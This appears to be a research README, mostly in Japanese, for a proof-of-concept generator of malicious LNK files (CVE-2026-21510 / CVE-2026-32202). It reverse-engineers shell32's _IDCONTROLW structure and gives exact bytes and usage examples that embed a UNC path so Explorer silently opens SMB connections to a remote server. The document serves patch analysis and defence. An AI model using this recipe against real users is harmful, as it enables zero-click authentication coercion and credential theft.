python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLW研究コンテキスト: CVE-2026-21510 / CVE-2026-32202 (APT28 LNK エクスプロイトチェーン) の解析。
出典: Akamai Security Research。
目標:shell32.dllがLinkTargetIDList内でコントロールパネルアプレットを表現するために使用する内部_IDCONTROLW構造体を再構築する。
APT28 は、未公開の _IDCONTROLW 構造体内に UNC パスを埋め込んだ LinkTargetIDList を含む悪意のある .lnk ファイルを作成することで、Windows Shell (shell32.dll) の脆弱性を悪用しました。これにより、explorer.exe がユーザーの操作なしに (ゼロクリックで) 攻撃者が制御するサーバーへの SMB 接続を開始しました。
_IDCONTROLW 構造体は、公開されている Windows SDK や Microsoft の公開 PDB シンボル (shell32.dll 用) には文書化されていません。本レポートでは、IDA Pro での静的解析による再構築プロセスを文書化します。
MS-SHLLINK によると、LinkTargetIDList には標準の IDList — 2 バイトの null で終了する可変長の ItemID エントリの配列 — が含まれます。
APT28 エクスプロイトでは、IDList には正確に 3 つのアイテムが含まれます:
| インデックス | 内容 |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — コントロールパネルのルート |
IDList[1] | CControlPanelCategoryFolder アイテム — 「すべてのコントロール パネル項目」(カテゴリ 0) |
IDList[2] | _IDCONTROLW — UNC パスが埋め込まれた CPL アプレットエントリ |
これは次の仮想パスに解決されます:
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{CPL entry}
_IDCONTROLW は公開 PDB シンボルに存在しないため、Explorer でコントロールパネル項目のレンダリングを担当する CControlPanelFolder::GetUIObjectOf から始まる呼び出しチェーンを IDA Pro でトレースすることで再構築を実行しました。
CControlPanelFolder::GetUIObjectOfExplorer が悪意のある LNK を含むフォルダをレンダリングするとき、CPL アイテムのアイコンを抽出するために GetUIObjectOf を呼び出します。これにより、次のチェーンがトリガーされます:
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW がここでトリガーされる (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← _IDCONTROLW を検出
_IsUnicodeCPLWorker — 構造体の検証const struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
これにより、オフセット +0x0D = 0x6A のUnicode マーカーが明らかになります。
CControlPanelFolder::GetModule — フィールドアクセス// Unicode パスはオフセット +0x18 から読み取られる (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// ANSI フォールバックはオフセット +0x0C から読み取られる:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
これにより、Unicode パス (ModulePath) が +0x18 から始まることが確認されます。
_IDControlCreateW — 構造体の構築int __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) in bytes
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // total data size
v11 = ILCreate(v10 + 26); // alloc: data + 0x1A header
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// strings written at +0x18
}
_IDCONTROLW 構造体struct _IDCONTROLW {
WORD cb; // +0x00 size of entire structure (including cb itself)
WORD pad1; // +0x02 padding, always 0
DWORD dwAppletID; // +0x04 applet ID (negative for registered CPL, e.g. -201 = 0xFFFFFF37)
WORD pad2; // +0x08 always 0 (checked by _IsUnicodeCPLWorker)
WORD pad3; // +0x0A always 0 (checked by _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C always 0 (checked by _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — Unicode CPL marker
WORD pad5; // +0x0E padding
DWORD pad6; // +0x10 padding
WORD cchModule; // +0x14 length of ModulePath in WCHARs (including null terminator)
WORD offName; // +0x16 offset of Name from start of data[] in WCHARs
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| オフセット | サイズ | フィールド | 値 / 備考 |
|---|---|---|---|
+0x00 | WORD | cb | 構造体の合計サイズ |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | アプレット ID (例: 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — _IsUnicodeCPLWorker によって検証される |
+0x0A | WORD | pad3 | 0 — _IsUnicodeCPLWorker によって検証される |
+0x0C | BYTE | pad4 | 0 — _IsUnicodeCPLWorker によって検証される |
+0x0D | BYTE | typeFlag | 0x6A — Unicode マーカー |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule (Name は ModulePath の直後に続く) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip (UTF-16LE) |
_IDCONTROL vs _IDCONTROLWANSI バージョン (_IDCONTROL) は _IDControlCreateA によって作成され、異なるレイアウトを使用します:
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
主な違い:
| プロパティ | _IDCONTROL (ANSI) | _IDCONTROLW (Unicode) |
|---|---|---|
| ヘッダーサイズ | 0x0C (12 バイト) | 0x18 (24 バイト) |
| 文字列エンコーディング | ANSI (char) | UTF-16LE (WCHAR) |
| Unicode マーカー | なし | +0x0D = 0x6A |
| 検出 | _IsUnicodeCPLWorker は nullptr を返す | ポインタを返す |
| パス開始オフセット | +0x0C | +0x18 |
{26EE0668-...})1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
タイプ 0x1F = CLSID を持つルートシェルアイテム。
CControlPanelCategoryFolder::CreateIDList から再構築:
*(_WORD*)v5 = 12; // cb = 0x0C
*((_WORD*)v5 + 1) = 1; // flags = 0x0001
v5[1] = 0x39DE2184; // magic identifier
v5[2] = 0; // category index = 0
バイナリ:
0C 00 01 00 84 21 DE 39 00 00 00 00
_IDCONTROLW\\192.168.1.31\share\test.cpl の例:
9E 00 — cb = 158
00 00 — pad1
37 FF FF FF — dwAppletID = -201
00 00 — pad2
00 00 — pad3
00 — pad4
6A — typeFlag = 0x6A ✓
00 00 00 00 00 00 — pad5 + pad6
1E 00 — cchModule = 30
1E 00 — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)
パッチ適用前のバージョンにおける脆弱性チェーン:
Explorer がフォルダをレンダリング
→ CControlPanelFolder::GetUIObjectOf (アイコン抽出リクエスト)
→ CControlPanelFolder::GetModuleMapped
→ PathFileExistsW(pszPath) ← SMB 接続がここで開始される
Microsoft のパッチ (CVE-2026-21510) は、IVerifyingTrust::OnVerifyingTrust を介した SmartScreen 検証を追加する ControlPanelLinkSite を導入しました — ただし、ShellExecuteExW ステージのみです。GetModuleMapped 内の PathFileExistsW 呼び出しはチェーンのより早い段階で発生し、対処されなかったため、CVE-2026-32202 (認証強制) は後続の更新までパッチ未適用のままでした。
このリポジトリで提供される情報は、教育および情報提供のみを目的としています。著者は、提示された資料の違法、悪意のある、または非倫理的な使用を推奨せず、そのような使用に対して一切の責任を負いません。 説明されている技術と概念は、適切な許可なしにシステムやネットワークに適用すべきではありません。著者は、この情報の誤用によって生じたいかなる損害、法的結果、または損失についても責任を負いません。 読者は、サイバーセキュリティ慣行に関するすべての該当する法律とガイドラインを遵守することをお勧めします。